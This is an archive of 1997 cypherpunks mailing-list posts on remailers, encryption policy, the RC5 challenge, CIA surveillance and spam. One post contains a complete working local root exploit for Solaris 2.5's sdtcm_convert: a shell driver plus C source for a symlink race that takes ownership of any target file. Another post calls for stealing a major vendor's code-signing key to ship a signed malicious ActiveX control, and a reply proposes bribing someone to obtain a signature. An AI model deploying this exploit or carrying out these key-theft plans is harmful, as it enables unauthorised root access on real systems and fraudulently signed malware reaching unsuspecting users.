bad-guys on the X Files. The client allows you to participate in the RC5-56 contest (at no unfair advantage or disadvantage). That is the bottom line. If you wish to participate, we'd greatly welcome any instructions you can spare. If you don't, that's fine too, best of luck. earle.

2 2

Re: It is time to break Authenticode
by jim bell 17 Dec '03

17 Dec '03

At 08:09 PM 2/23/97 -0500, lucifer Anonymous Remailer wrote: >Microsoft's recent arrogant and irresponsible reply to the Chaos >Computer Club hack on ActiveX requires response. An effective response >would be to steal the key of a major code signer and produce a signed, >malicious ActiveX control. Such an attack would demonstrate the >serious problems of Microsoft's security philosophy. > [trim] > >The best avenue of attack is stealing the secret key of a respected >code signer. The target should be one of the major players, if not >Microsoft itself. Someone is sloppy to store their secret key on a >machine hooked to the Internet. Stealing it would be a very nice >challenge. It should be doable. I can think of an easier way. If the goal is simply to demonstrate that the system can be broken, how about offering a not-insignificant amount of money to anonymous person who manages to successfully get code signed? No exposure is necessary, just the signature done once. Jim Bell jimbell(a)pacifier.com

1 0

Tap in to You Income Potential
by get.a.life＠worldnet.att.net 17 Dec '03

17 Dec '03

Tap in to your own income potential and Make a Change for Life! Why this Company? * It answers the criteria established by both the Harvard Business School and the Kiplinger Personal Finance Magazine. * It has been in business more than four years. Their products trigger an emotional response, are consumable, and have been exposed to less thatn 1% of the population in the U.S. The products are reasonably priced, easy to use and unique to the marketplace. The company offers a 30 day money-back guarantee. The products are in the explosive industries of health, weight management, nutrition, personal-care and telecommunications. * It is approaching the stage of critical mass. Getting involved with the company at this stage of momentum puts you in a position of substantial growth. * The company is debt free. It is a family-owned business dedicated to long-term growth. It is also a product driven company. Your income will be driven by retail sales and repeat business. * You have the opportunity to earn income on up to sex levels deep as a Qualified Director. Please take the time to visit the corporate home page at http://www.eola.com/. Then give me a call or send me an e-mail to ask questions, to purchase products at retail or wholesale prices, or to set up your own distributorship. I look forware to hearing from you, Neda Hatcher E'OLA Products Independent Distributor get.a.life(a)woldnet.att.net MasterCard and VISA accepted! (318)688-2517 msg002

1 0

Dark Times Ahead
by Pan D.Modium 17 Dec '03

17 Dec '03

Predictions for the Year 1. Encryption without "Key Escrow" will be outlawed. The remailer network will be shutdown following highly public raids that result in equipment seizures and prosecution of the remailer operators using RICO statutes after agents provocateur post terrorist threats to the Internet. 2. Tobacco companies will cave in to the states on liability for medical costs and declare bankruptcy. The few remaining small companies not party to the suits will see themselves targeted after prices on a pack of cigarettes rises to 1000% of the current price. Two years from now, cigarettes will be almost impossible to get and result in smuggling on a scale that dwarfs cocaine and marijuana trafficing. 3. The NSA's prohibition on domestic surveillance will be lifted following allegations of massive money laundering via the Internet and rumors that major American banks have been raided via the net by Russian mafia. 4. The IRS will go to court to force the National Rifle Association to turn over its membership lists as the agency audits the books of the non-profit organization. After obtaining the lists, the IRS will target the members for special auditing programs. 5. The FBI will direct the implementation of the Digital Telephony Act after Congress finally caves in and provides the funding. A new protocol for wiretapping will be implemented as provided for in the Act that does not allow for judicial review. 6. The Supreme Court will surprise everyone by upholding the Communications Decency Act in a 5-4 decision. The FBI will stage widely publicized raids on the most visible adult web sites. Pan D. Modium pandemodium(a)nym.alias.net "May you live in interesting times." -- ancient Chinese curse

3 2

Low-Risk Remailer Proposal
by Sergey Goldgaber 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- I would like to propose that persons wishing to run remailers but concerned about possible political reprecussions institute a policy of remailing only to other remailers. This would increase the total number of remailers, and decrease the chances that all or most of the available remailers are compromised. ............................................................................ . Sergey Goldgaber <sergey(a)el.net> System Administrator el Net . ............................................................................ . The path of least resistance leads to mediocrity. . ............................................................................ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: http://www.efh.org/pgp/pgpwork.html explains this signature. iQCVAwUBMw+7PMgbnd/MibbZAQFbOQQAo95fuNed1BF8wyDd0cut1yNrksg+kX3S uW8YbnLHPZI4lctrSxs99L75Y1yxK3Q2+jijeWevnf9qfzIAItAEzxbANIFdoiZo yYhoz/DdUvLepDPZc1t4owuNFcVs6EEBg++FrUxPsShp2SUGEOJ4yRO4p9lkTVkM 5mUBCGtJngo= =UlcG -----END PGP SIGNATURE-----

1 0

Re: Dark Times Ahead
by mpd＠netcom.com 17 Dec '03

17 Dec '03

Timothy C. May writes: > Oh? And will the First Amendment then be repealed? > "Congress shall make no law respecting the establishment of speech or > prohibiting the free exercise thereof" seems rather clear: Congress cannot > insist that a particular form of speech be used to the exclusion of others. > A ban on coding messages, speaking in languages unintelligible to > wiretappers, etc., would quite clearly be thrown out on First Amendment > grounds, from everything I know of the Supreme Court and its reasoning. The Supremes can bypass the First Ammendment anytime they choose by simply mumbling something about "society's overwhelming interest in protecting itself." Indeed, the plethora of regulation against various forms of "bad" speech concerning children and their sexuality is the clearest example of this, with the Knox "clothed child porn" decision, and the recent Hatch nonsense making any suggestion of underage sexual activity illegal, regardless of whether underaged models were involved in its production. I expect textual material will be outlawed in a few years as well, as a "loophole" in the current laws, since real children no longer have to be associated with such material in order for it to be deemed harmful. Once that happens, a whole bunch of other things will probably be outlawed shortly thereafter, the criteria being that they are certainly as dangerous as an illicit copy of "Aunt Sue and the Horny Paperboy." Expect bombmaking instructions, anti-government tracts, cryptography, and most Loompanics books to be included here. > And so on. Banning unescrowed cryptography would result in the Mother of > all Constitutional challenges, and would, I am sure, result in such a ban > being declared unconstitutional. If throwing Alice in jail because she used > a form of speech unacceptable to the rulers is not a violation of the > First, nothing is. The frog is nearly boiled. If the Mother of all Constitutional Challenges hasn't happened by now, it isn't going to. This is a country that throws grad students in prison for possessing films of young girls doing gymnastics. What makes you think unescrowed cryptography has some special hallowed status? The First Ammendment is useless, as there are clear counterexamples to unlimited free speech. That makes it a matter of interpretation, and the courts will interpret it according to the existing level of public hysteria. The Fourth Ammendment only guarantees us "due process." We do not, as some countries do, have a strong privacy provision written into our Constitution. I have always held that a well-written privacy provision keeping the government out of peoples homes and personal possessions is worth ten First Ammendments. -- Mike Duvos $ PGP 2.6 Public Key available $ mpd(a)netcom.com $ via Finger. $

1 0

Exploit for sdtcm_convert - Solaris 2.5 - second
by Cristian SCHIPOR 17 Dec '03

17 Dec '03

Sun Feb 23 10:36:58 EET 1997 Romania "Exploit for sdtcm_convert - Solaris 2.5" I send you an e-mail about a bug and an exploit for sdtcm_convert. (sdtcm_convert allows you to become owner of any file or directory from the system - and gain root access ) First, there was some problems with my uuencoded exploit (some damaged it on the route...) so i'll resend you the files for exploit. Second, Casper Dick send me: >Is this the bug fixed in the Sun patches: >103670-02: CDE 1.0.2: sdtcm_convert has a security vulnerability >103671-02: CDE 1.0.1: sdtcm_convert has a security vulnerability >103717-02: CDE 1.0.2: sdtcm_convert has a security vulnerability (x86 version) >103718-02: CDE 1.0.1: sdtcm_convert has a security vulnerability (x86 version) >or is it a new one? >Casper I cant found this patches to verify if that fix the problem i have found or not. Anyway you have an exploit ! (execute 'thefist' and wait) Cristian Schipor - Computer Science Faculty - Bucharest - Romania Email: skipo(a)math.pub.ro skipo(a)sundy.cs.pub.ro skipo(a)ns.ima.ro Phone: (401) 410.60.88 ------------------------- file thefirst ------------------------------------ /bin/echo "orange.c -> orange" gcc -o orange orange.c /usr/ucb/whoami > wh read USER < ./wh #watching for callog file if it isnt will stop if ! test -f /var/spool/calendar/callog.$USER; then /bin/echo "I cant found callog file. Please read README and create it" exit; fi /bin/echo "what's the target ???" read TARGET /bin/echo /bin/chmod 000 /var/spool/calendar/callog.$USER >lemon /bin/echo /usr/dt/bin/sdtcm_convert $USER >>lemon /bin/chmod 700 ./lemon ./orange $TARGET $USER ------------------------- end -------------------------- ------------------------ file orange.c --------------------------- #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #define path "/var/spool/calendar/callog." void main(int argc, char *argv[]) { int pid,filedes[2]; FILE *f; struct stat info; long i; char target[128],shift[128]; strcpy(target,argv[1]); strcpy(shift,path); strcat(shift,argv[2]); if(pipe(filedes)) { perror("cant crate pipe\n"); exit(0); } if(pid=fork()==0) { for(i=0;i<30000000;i++); unlink(shift); symlink(target,shift); write(filedes[1],"y\n",sizeof("y\n")); } else { close(0); dup(filedes[0]); system("lemon"); stat(target,&info); if(info.st_uid==getuid()) printf("COLL I did IT !!!\n"); } } ------------------------ end ---------------------------- ------------------------ file README ---------------------- *How to make a simple callog file* If you dont have a /var/spool/calendar/callog.YOU edit callog.example, replace 'skipo' with your user name and 'sundy.cs.pub.ro' with your machine name (try first the short name, example: sundy and if you'll have troubleshotings try the long name, example sundy.cs.pub.ro). After that copy the new callog file in /var/spool/calendar/callog.YOUR_USER_NAME, run once sdtcm_convert with your user name (example sdtcm_convert skipo) and wait for corrections. Now you are ready to run the exploit. Another way is to run calendar tool from CDE. ------------------------- end ------------------------------- ------------------------ file callog.example ------------------------ Version: 4 **** start of log on Fri Dec 6 14:07:43 1996 **** (calendarattributes ("-//XAPIA/CSA/CALATTR//NONSGML Access List//EN","10:access_list","world:2") ("-//XAPIA/CSA/CALATTR//NONSGML Calendar Name//EN","5:string","skipo(a)sundy.cs.pub.ro") ("-//XAPIA/CSA/CALATTR//NONSGML Calendar Owner//EN","6:user","skipo(a)sundy.cs.pub.ro") ("-//XAPIA/CSA/CALATTR//NONSGML Character Set//EN","5:string","C.ISO-8859-1") ("-//XAPIA/CSA/CALATTR//NONSGML Date Created//EN","7:date_time","19961206T120743Z") ("-//XAPIA/CSA/CALATTR//NONSGML Product Identifier//EN","5:string","-//DT//NONSGML Calendar Product Version 1//EN") ("-//XAPIA/CSA/CALATTR//NONSGML Version//EN","5:string","-//XAPIA/CSA/VERSION1/NONSGML CSA Version 1//EN") ) -------------------------- end --------------------------------

1 0

Re: MULTI-JURISDICTIONAL TAXATION OF ELECTRONIC COMMERCE
by Sean Roach 17 Dec '03

17 Dec '03

At 03:16 PM 2/21/97 -0500, Robert Hettinga wrote: >--- begin forwarded text ... >This symposium will consider a wide range of issues, including: > >**Differences in determining the electronic commerce income >tax base. Should source or residence rules be used, or should >some form of formulary apportionment be applied? > >**Problems in imposing retail sales taxes on electronic sales. >Should traditional nexus rules apply? > >**Problems in determining the value added by electronic >commercial inputs. Should a tax be determined based on the >'bits' of information? If so, should each 'bit' be valued the >same? > >**Problems involving the harmonization of tax rules. >International and sub-national aspects of this problem will be >considered. OECD efforts in this area will be contrasted with >proposed uniform state legislation in the US. > >**Throughout the symposium the impact that these tax decisions >will have on cross-border investment decisions will be a primary >concern. ... "Toll" tax. If each packet were "taxed" as it entered a system, and due to the nature of the internet, when traffic increases in certain areas, prices would go up, driving activity back down, then each area could "tax" what it wanted. The only real problem would be how to get people to pay. Unlike the toll booth at the entrance to a turnpike, internet users don't keep exact change. There is no window to roll down to hand the attendant the money, there is no accepted currency to hand the attendant either. Taxation can't really begin until e-cash equipped browsers are common. Plus, executables are fairly large, while text files tend to be small, adding a bias against executables, images, and audio files. In addition, since the packets have to originate from somewhere, the location of the poster would get to tax at least. Of course, if such a system were not mandatory in a region, then "freenets" would get a whole new meaning.

1 0

CIA Lie
by John Young 17 Dec '03

17 Dec '03

The Washington Post, February 20, 1997, p. A22: Domestic CIA Snooping The CIA's assertion on its Web page that the agency does not keep files on Americans is not in fact true ["In the Loop," Federal Page, Feb. 12]. The agency opened a file on my client, Daniel Tsang, a political activist and librarian at the University of California at Irvine, in the 1980s and recorded his constitutionally protected activities. When we sued the agency, we discovered that no agency directives prohibit the maintenance of such files and the CIA lawyers made the extraordinary claim that it is legal for the agency to keep files on Americans, including on citizens' First Amendment activities. The CIA claimed that it is exempt from Privacy Act restrictions on such practices. While the CIA eventually agreed to expunge Mr. Tsang's file and promised to refrain from opening such files on him in the future, it refused to acknowledge any limitation on its authority to keep files on other Americans. It should do so now. Kate Martin Washington The writer is director of the Center for National Security Studies, a project of the Fund for Peace. -----

2 1

Re: Dark Times Ahead
by jim bell 17 Dec '03

17 Dec '03

At 11:38 PM 2/22/97 -0800, Mike Duvos wrote: >Timothy C. May writes: > >> Oh? And will the First Amendment then be repealed? > >> "Congress shall make no law respecting the establishment of speech or >> prohibiting the free exercise thereof" seems rather clear: Congress cannot >> insist that a particular form of speech be used to the exclusion of others. > >> A ban on coding messages, speaking in languages unintelligible to >> wiretappers, etc., would quite clearly be thrown out on First Amendment >> grounds, from everything I know of the Supreme Court and its reasoning. > >The Supremes can bypass the First Ammendment anytime they choose by simply >mumbling something about "society's overwhelming interest in protecting >itself." I'd sure like to know how they figure out what "society" really wants to do! In April of 1993, which the original Clipper chip/system was proposed, not all that many people had even heard of the Internet, and far fewer were aware of the details of encryption. Surely they didn't mean to suggest that "society" was in favor of Clipper? Blissfully ignorant, perhaps, but not in favor! (B^) Obviously, with their "If you only knew what we know" they'll claim that the public would have favored Clipper if it knew the real problems, but the way I see it, if they REALLY believed that there was a serious threat to anything other than merely their jobs, they would have done a better job convincing the public. Jim Bell jimbell(a)pacifier.com

1 0

Re: An Overweening Faith in the Supreme Court
by dlv＠bwalk.dm.com 17 Dec '03

17 Dec '03

"Pan D.Modium" <pandemodium(a)nym.alias.net> writes: > In short, America has been sliding down the path to fascism at an > amazing pitch since the early 80's. Not once in history has a country > gone this far down the path to tyranny and turned back. America will > not be the first. Dunno about turning back but the U.S. does resemble in many ways Argentina in the '40's and '50's. (It resembles the U.S.S.R in the '70's in yet other ways. :-) So, can you think of a good country to move to, besides Israel? :-) --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

1 0

Re: Dark Times Ahead - sort of off-topic
by dlv＠bwalk.dm.com 17 Dec '03

17 Dec '03

Toto <toto(a)sk.sympatico.ca> writes: > Martin Minow wrote: > > Some state prisons (Utah? Minnesota?) are smoke-free. Cigarettes are > > a choice smuggling item. > > > I vaguely recall a price of $200 per > > cigarette (but note that, in a prison economy, the "dollar" is > > only loosely connected to reality. > > If it's been a while since you were released, then the prices > have probably changed. Ask Randall Schwartz (spit). --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

1 0

Re: CIA Lie
by jim bell 17 Dec '03

17 Dec '03

At 03:18 PM 2/23/97 -0800, Greg Broiles wrote: >I received a reply to my FOIA request re cpunks to the CIA; it indicates >that they "doubt" that they have any records responsive to my request, and >think I'd be better served by writing to the FCC. (?!) It's at ><http://www.io.com/~gbroiles/cp-foia/cia-1.html>. I'm going to write back >and ask them to actually comply with FOIA, e.g., look through their files, >instead of just guessing that there probably isn't anything in there. You could have said to them, "If you can't find anything, maybe you could make something up, okay?" Jim Bell jimbell(a)pacifier.com

2 1

It is time to break Authenticode
by lucifer＠dhp.com 17 Dec '03

17 Dec '03

Microsoft's recent arrogant and irresponsible reply to the Chaos Computer Club hack on ActiveX requires response. An effective response would be to steal the key of a major code signer and produce a signed, malicious ActiveX control. Such an attack would demonstrate the serious problems of Microsoft's security philosophy. Hackers have known since ActiveX was announced that its security model is ridiculous. Signatures are not enough to protect users from malicious code. Exploder and the CCC hack have done a great job of demonstrating practical examples of why ActiveX is dangerous. The CCC hack in particular has made the ActiveX security issue visible enough that Microsoft has been forced to respond publically. Unfortunately, their published response on http://www.microsoft.com/security/ does not begin to admit the fundamental flaws in ActiveX. Instead, they continue to hide behind code signatures and mislead the public that their system is no less secure than Java. The obvious response to Microsoft's attempt at damage control is to demonstrate an attack with a control signed by a reputable party. There are three ways to do this: subvert an existing signed control, subvert the signature protocols, or steal a signing key. Subverting existing signed controls is an interesting avenue. Currently used ActiveX controls have implementation bugs that could be exploited in an attack. Finding one would be a fair amount of work, however, and a successful attack would only show that code has bugs, not demonstrate the fundamental flaw in relying on code signatures. The signature protocols of Authenticode are presumably secure - getting signatures right is well understood. Still, does anyone have information on exactly how the signatures work? The best avenue of attack is stealing the secret key of a respected code signer. The target should be one of the major players, if not Microsoft itself. Someone is sloppy to store their secret key on a machine hooked to the Internet. Stealing it would be a very nice challenge. It should be doable. Stealing the key itself will almost certainly be an illegal act. Morally, the demonstration signed control should itself not do damage. Something like the Exploder control (which warns the user before shutting down the machine) should be good enough to show the flaws of ActiveX without causing trouble. A public discussion about how to best go about this attack should be interesting. For obvious reason, the attack itself would have to be done in secrecy.

1 0

Distributed cracks, law, and cryptoanarchy
by gbroiles-nospam＠netbox.com 17 Dec '03

17 Dec '03

Some thoughts about the distributed crack/reward distribution thing: The "you must report results only to the crack organizers" rule can be enforced if it's made into a contract. Even without a formal contract, I think it's plausible to argue that pretending to participate in the distributed crack, *and representing that to the organizers and thereby gaining access to their private database of already-searched keyspace*, and using that information for one's own private gain, could reasonably be construed as fraud. (depending on your jurisdiction, blah blah blah. But the general pattern - knowing misrepresentation, foreseeable & intended reliance, loss to one party is gain for another - is right at the heart of common-law fraud. The "widely distributed computing" approach depends for economic viability (as opposed to being just an amusing hobby) on preserving the confidentiality of input and output datasets. This protection can be (and will be) provided by both law and technology. The technological side will likely depend on programs distributed as executables only. This implies a client-side "sandbox" environment such as Java so that the software can't get to any of the local hardware (except the processor & display). If distributed crack organizers can be confident that they'll be able to reap the benefits of their organizing, they can offer payments to unsuccessful participants. This approach (tiny payments for idle cycles) scales better to real-world distributed computing problems than the all-or-nothing $10K approach. Because of the need for confidentiality, real-world distributed computing problems are unlikely to give participants a chance at a "big win" if they cheat somehow. (For example, assume Eve intercepts some ciphertext, and she knows enough about the structure of it that she can predict some of its contents (like message headers, or TCP/IP headers) - she will ask for keys which decrypt [a tiny piece of] the headers, and save the juicy data for herself. A cheating participant in the distributed crack gains very little by keeping the winning result to him/herself, unless she knows more about the context of Eve's interception.) I'm suspicious of the idea that a lot of people are going to meaningfully participate in the crack because they've got a "chance" to win $10K; assuming a wide distribution of client software, the chances that any particular client will hit the key is unlikely to be better than 1 in 10,000 or so (and my hunch is it's more like 1 in 100,000) .. which means that the "chance" is worth somewhere between $1 and $.10. Personally, I'd be more motivated by the idea that the crack might help kill stupid export control laws. Then again, I'm one of those people who won't buy lottery tickets. -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles(a)netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. |

6 6

Re: Speculations on Espionage-Enabled Encryption
by Martin Minow 17 Dec '03

17 Dec '03

Jim Bell writes: > >Has it been established that Microsoft (is only/can only) sign crypto >add-ons which are approved for export? Since there are no restrictions >domestically, presumably Microsoft can sign anything it wants. If those >versions ever manage to "sneak out" of the country, well that's too bad! > Here are some speculations based, in part, on my interpretation (repeat, MY INTERPRETATION) of discussion on code signing at last year's Java One conference: -- Only the vendor, physically located in the USA, will sign crypto add-ons. -- Since the add-ons are physically signed in the USA, the signed add-on must comply with all export regulations. I.e., no restriction on domestic use, various export control restrictions as appropriate to the crypto add-on. I would presume that the add-on would be distributed public-key encrypted, and could only be created by the holder of the corresponding private key (i.e. the operating-system vendor) and, furthermore, could only be run by an operating system that could decrypt the add-on package. A vendor could presumably export operating system variants that could not execute some subset of crypto add-ons because the variant lacks the ability to decrypt the package. In the long-term (3-5 years), I wouldn't be suprised to find the decryption capability moved onto the processor chip, making the problem of distribution strong crypto more difficult. Martin Minow minow(a)apple.com

1 0

Re: CIA Lie
by John Young 17 Dec '03

17 Dec '03

After eying the disingenuous CIA letter to Greg, it may be worth eying disingenuous USG laws on electronic surveillance, most of which ostensibly apply to foreign targets but may catch US citizens in the global sweep, say, as on Cypherpunks -- keep at it, Greg. We've put some of them on our site today, as listed at: http://jya.com/crypto.htm fis.htm Foreign Intelligence Surveillance (108K) 50usc402a.txt Coordination of Counterintelligence 50usc438.txt Access to Classified Information 18usc794.txt Espionage and Censorship 18usc2511.txt Electronic Communications Intercepts 18usc2709.txt Electronic Records Access 15usc1681u.txt Disclosures to FBI for Counterintelligence 12usc3414.txt Right to Financial Privacy For details not fully revelatory of the CIA's operations, see 50USC413 et seq., by searching the United States Code at: http://www.access.gpo.gov/su_docs/aces/aaces002.html

1 0

Re: Clipper article in Cu Digest, #9.10, Wed 20 Feb 97
by Sean Roach 17 Dec '03

17 Dec '03

At 09:16 AM 2/21/97 -0800, Bill Stewart forewarded: >CUD is available at URL: http://www.soci.niu.edu/~cudigest/ >Here are some excerpts: ... >> The Defense Department plans to remove the government key escrow >> software from its Fortezza cards used on the Defense Message System, a >> move that signals the death of the Clinton administration's >> controversial Clipper initiative and one that should encourage >> civilian use of the cryptographic cards. >> >> A DOD spokeswoman confirmed the decision to remove the key escrow but >> would not provide further details. >> >> The DOD decision, which will be formalized in a policy expected out >> shortly, is in response to the administration's decision last October >> to support key recovery technology instead of the controversial >> Clipper initiative. Each agency must decide how it will implement the >> government's policy internally. A technical advisory committee will >> develop standards for a federal key management infrastructure. >... >> DOD has for years pressured civilian agencies to use government escrow >> technology, but the agencies were wary of the law enforcement access. >> Stephen Walker, president and chief executive officer of Trusted >> Information Systems Inc. (TIS), said the policy will remove the last >> remnants of the Clipper and serve as an official endorsement of key >> recovery technology. ... So instead of all of the keys being stored in some guarded vault, the parent key which each chip uses to encrypt part of the users key when transmitting is kept in some guarded vault. That way they get the key in some 10 messages unless you rotate often. Or the keys are assigned according to some unusual system. Assuming that only 10,000,000 people were interested in the cards, then only 2^24 keys, or 16777216 keys need to be assigned. An additional 100+ bits of "key" can be thrown in, so long as the government has those, or can reconstruct them from the others. If you can only affect part of the key, can't a brute force attack get you, knowing that certain random digits were always the same? Of course this would become too obvious really soon, unless some elaborate system were used to rotate the garbage. such as having bits 2, 5, 9, 11, 12, 14, and 19 tell which of 128 different garbage sets to throw in. Please correct me if this is unfounded. Please inform me if I'm on the right track. Please tell me that I'm just irrationally paranoid so I can get some help.

1 0

(Fwd) RC5-56 effort by New Media Laboratories
by Robert Rothenburg 'Walking-Owl' 17 Dec '03

17 Dec '03

This came though on the RC5 challenge list. My apologies for those who already have seen it. --Rob ------- Forwarded Message Follows ------- Date: Sat, 22 Feb 1997 15:29:05 +0100 From: lendl(a)cosy.sbg.ac.at (Otmar Lendl) To: challenge(a)list.ee.ethz.ch Subject: RC5-56 effort by New Media Laboratories Hi all, I just noticed that New Media Laboratories launched an attack at the RC5/56 challenge. For details see http://zero.genx.net/ Just FYI, otmar -- / Otmar Lendl (lendl(a)cosy.sbg.ac.at) # http://www.cosy.sbg.ac.at/~lendl/ \ \ Killfiles generate SEP fields. Beware: the CE-Norm does not cover them. / ----- "The word to kill ain't dirty | Robert Rothenburg (WlkngOwl(a)unix.asb.com) I used it in the last line | http://www.asb.com/usr/wlkngowl/ but use a short word for lovin' | Se habla PGP: Reply with the subject and dad you wind up doin' time." | 'send pgp-key' for my public key.

1 0

List of reliable remailers
by Raph Levien 17 Dec '03

17 Dec '03

I operate a remailer pinging service which collects detailed information about remailer features and reliability. To use it, just finger remailer-list(a)kiwi.cs.berkeley.edu There is also a Web version of the same information, plus lots of interesting links to remailer-related resources, at: http://www.cs.berkeley.edu/~raph/remailer-list.html This information is used by premail, a remailer chaining and PGP encrypting client for outgoing mail. For more information, see: http://www.c2.org/~raph/premail.html For the PGP public keys of the remailers, finger pgpkeys(a)kiwi.cs.berkeley.edu This is the current info: REMAILER LIST This is an automatically generated listing of remailers. The first part of the listing shows the remailers along with configuration options and special features for each of the remailers. The second part shows the 12-day history, and average latency and uptime for each remailer. You can also get this list by fingering remailer-list(a)kiwi.cs.berkeley.edu. $remailer{"extropia"} = "<remail(a)miron.vip.best.com> cpunk pgp special"; $remailer{"mix"} = "<mixmaster(a)remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?"; $remailer{"replay"} = "<remailer(a)replay.com> cpunk mix pgp hash latent cut post ek"; $remailer{'alpha'} = '<alias(a)alpha.c2.org> alpha pgp'; $remailer{'nymrod'} = '<nymrod(a)nym.jpunix.com> alpha pgp'; $remailer{"lead"} = "<mix(a)zifi.genetics.utah.edu> cpunk mix pgp hash latent cut ek"; $remailer{"exon"} = "<remailer(a)remailer.nl.com> cpunk pgp hash latent cut ek"; $remailer{"haystack"} = "<haystack(a)holy.cow.net> cpunk mix pgp hash latent cut ek"; $remailer{"lucifer"} = "<lucifer(a)dhp.com> cpunk mix pgp hash latent cut ek"; $remailer{"jam"} = "<remailer(a)cypherpunks.ca> cpunk mix pgp hash middle latent cut ek"; $remailer{"winsock"} = "<winsock(a)rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord"; $remailer{'nym'} = '<config(a)nym.alias.net> newnym pgp'; $remailer{"balls"} = "<remailer(a)huge.cajones.com> cpunk pgp hash latent cut ek"; $remailer{"squirrel"} = "<mix(a)squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek"; $remailer{"middle"} = "<middleman(a)jpunix.com> cpunk mix pgp hash middle latent cut ek reord ?"; $remailer{'cyber'} = '<alias(a)alias.cyberpass.net> alpha pgp'; $remailer{"dustbin"} = "<dustman(a)athensnet.com> cpunk pgp hash latent cut ek mix reord middle ?"; $remailer{'weasel'} = '<config(a)weasel.owl.de> newnym pgp'; $remailer{"death"} = "<x(a)deathsdoor.com> cpunk pgp hash latent post"; $remailer{"reno"} = "<middleman(a)cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?"; $remailer{"wazoo"} = "<remailer(a)wazoo.com> cpunk mix pgp hash latent cut ek"; $remailer{"shaman"} = "<remailer(a)lycaeum.org> cpunk mix pgp hash latent cut"; catalyst(a)netcom.com is _not_ a remailer. lmccarth(a)ducie.cs.umass.edu is _not_ a remailer. usura(a)replay.com is _not_ a remailer. remailer(a)crynwr.com is _not_ a remailer. There is no remailer at relay.com. Groups of remailers sharing a machine or operator: (cyber mix) (weasel squirrel) The alpha and nymrod nymservers are down due to abuse. However, you can use the nym or weasel (newnym style) nymservers. The cyber nymserver is quite reliable for outgoing mail (which is what's measured here), but is exhibiting serious reliability problems for incoming mail. The squirrel and winsock remailers accept PGP encrypted mail only. 403 Permission denied errors have been caused by a flaky disk on the Berkeley WWW server. This seems to be fixed now. The penet remailer is closed. Last update: Mon 24 Feb 97 6:46:43 PST remailer email address history latency uptime ----------------------------------------------------------------------- nym config(a)nym.alias.net ++#*+#++*#*# 3:57 100.00% weasel config(a)weasel.owl.de ++++++--++++ 1:00:37 99.99% winsock winsock(a)rigel.cyberpass.net .-----.----+ 6:43:17 99.91% dustbin dustman(a)athensnet.com +---------+ 3:38:39 99.87% squirrel mix(a)squirrel.owl.de + + ++--++++ 59:34 99.83% lucifer lucifer(a)dhp.com +++-+--++++ 44:49 99.81% exon remailer(a)remailer.nl.com *#++# *+#*# 1:49 99.78% cyber alias(a)alias.cyberpass.net +++*-*+-+ ** 33:47 99.43% extropia remail(a)miron.vip.best.com - ---_.__.. 28:37:50 99.10% jam remailer(a)cypherpunks.ca ** _**** ** 53:24 98.84% middle middleman(a)jpunix.com -- -- --+ 3:19:18 97.67% reno middleman(a)cyberpass.net +++ - .- + 1:51:29 97.38% replay remailer(a)replay.com ---++ --*** 48:23 97.36% balls remailer(a)huge.cajones.com *#_.-#### 3:58:16 93.66% haystack haystack(a)holy.cow.net **+* ## 6:32 91.52% mix mixmaster(a)remail.obscura.com __ 158:04:34 89.24% shaman remailer(a)lycaeum.org * 17:04 49.94% wazoo remailer(a)wazoo.com +*+++ 37:27 21.84% History key * # response in less than 5 minutes. * * response in less than 1 hour. * + response in less than 4 hours. * - response in less than 24 hours. * . response in more than 1 day. * _ response came back too late (more than 2 days). cpunk A major class of remailers. Supports Request-Remailing-To: field. eric A variant of the cpunk style. Uses Anon-Send-To: instead. penet The third class of remailers (at least for right now). Uses X-Anon-To: in the header. pgp Remailer supports encryption with PGP. A period after the keyword means that the short name, rather than the full email address, should be used as the encryption key ID. hash Supports ## pasting, so anything can be put into the headers of outgoing messages. ksub Remailer always kills subject header, even in non-pgp mode. nsub Remailer always preserves subject header, even in pgp mode. latent Supports Matt Ghio's Latent-Time: option. cut Supports Matt Ghio's Cutmarks: option. post Post to Usenet using Post-To: or Anon-Post-To: header. ek Encrypt responses in reply blocks using Encrypt-Key: header. special Accepts only pgp encrypted messages. mix Can accept messages in Mixmaster format. reord Attempts to foil traffic analysis by reordering messages. Note: I'm relying on the word of the remailer operator here, and haven't verified the reord info myself. mon Remailer has been known to monitor contents of private email. filter Remailer has been known to filter messages based on content. If not listed in conjunction with mon, then only messages destined for public forums are subject to filtering. Raph Levien

1 0

TMN_yet
by John Young 17 Dec '03

17 Dec '03

We've received reports from Kuala Lumpur on the two TMnet hacks last week that led to a shutdown, with more detail than Reuters: TMN_yet

1 0

BON_ker
by John Young 17 Dec '03

17 Dec '03

2-24-97: "OECD to map out common security framework for online shopping" "Big-Bank Group Seeks To Control Destiny Of Payment System" "GTE Takes CyberTrust To Japan" "GSA Announces Access America Plan" Key initiatives of the Access America plan, being run by the GSA's Office of Government-wide Policy (OGP), include: providing support to interagency groups; playing a central role in developing card technologies; expanding the current electronic benefits transfer (EBT) systems; and providing information technology training to government executives. ----- BON_ker

1 0

CDM_aok
by John Young 17 Dec '03

17 Dec '03

2-24-97. Financial Times: "Japan is poised to adopt CDMA for digital mobile phones, dealing a blow to European ambitions to make GSM the world standard." Congrats to Qualcomm! Wonder if TIA/NSA is ready to bolster CAVE, or is this a anti-GSM global deal to boost crypto-weak wireless? ----- CDM_aok

1 0

Big Security Hole in Solaris 2.X (X)passwd + exploit
by Cristian SCHIPOR 17 Dec '03

17 Dec '03

